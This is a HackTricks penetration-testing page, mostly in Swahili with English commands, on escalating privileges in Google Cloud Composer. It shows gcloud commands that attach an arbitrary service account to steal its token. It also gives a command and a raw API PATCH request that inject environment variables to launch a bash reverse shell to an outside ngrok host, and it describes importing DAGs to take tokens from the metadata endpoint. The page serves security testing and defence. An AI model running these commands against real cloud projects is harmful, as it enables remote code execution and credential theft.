GCP - Composer Privesc

Support HackTricks

composer

Maelezo zaidi katika:

GCP - Composer Enum

composer.environments.create

Inawezekana kuambatisha akaunti yoyote ya huduma kwenye mazingira mapya ya composer kwa ruhusa hiyo. Baadaye unaweza kutekeleza msimbo ndani ya composer kuiba tokeni ya akaunti ya huduma.

gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"

Maelezo zaidi kuhusu unyonyaji hapa.

composer.environments.update

Inawezekana kusasisha mazingira ya composer, kwa mfano, kubadilisha env variables:

# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
projects/<project-id>/locations/<location>/environments/<composer-env-name> \
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
--location <location> \
--project <project-id>

# Call the API endpoint directly
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
Host: composer.googleapis.com
User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0)
Accept-Encoding: gzip, deflate, br
Accept: application/json
Content-Length: 178
Content-Type: application/json
X-Goog-Api-Client: cred-type/sa
Authorization: Bearer [token]
X-Allowed-Locations: 0x0

{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}

TODO: Pata RCE kwa kuongeza packages mpya za pypi kwenye mazingira

Pakua Dags

Angalia msimbo wa chanzo wa dags zinazotekelezwa:

mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags

Import Dags

Ingiza msimbo wa Dags ili kuhujumu mazingira na kuweza kuiba tokeni kutoka kwa metadata endpoint:

# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/asd

Import Plugins

TODO: Angalia ni nini kinaweza kuathirika kwa kupakia plugins

Import Data

TODO: Angalia ni nini kinaweza kuathirika kwa kupakia data

Support HackTricks

Last updated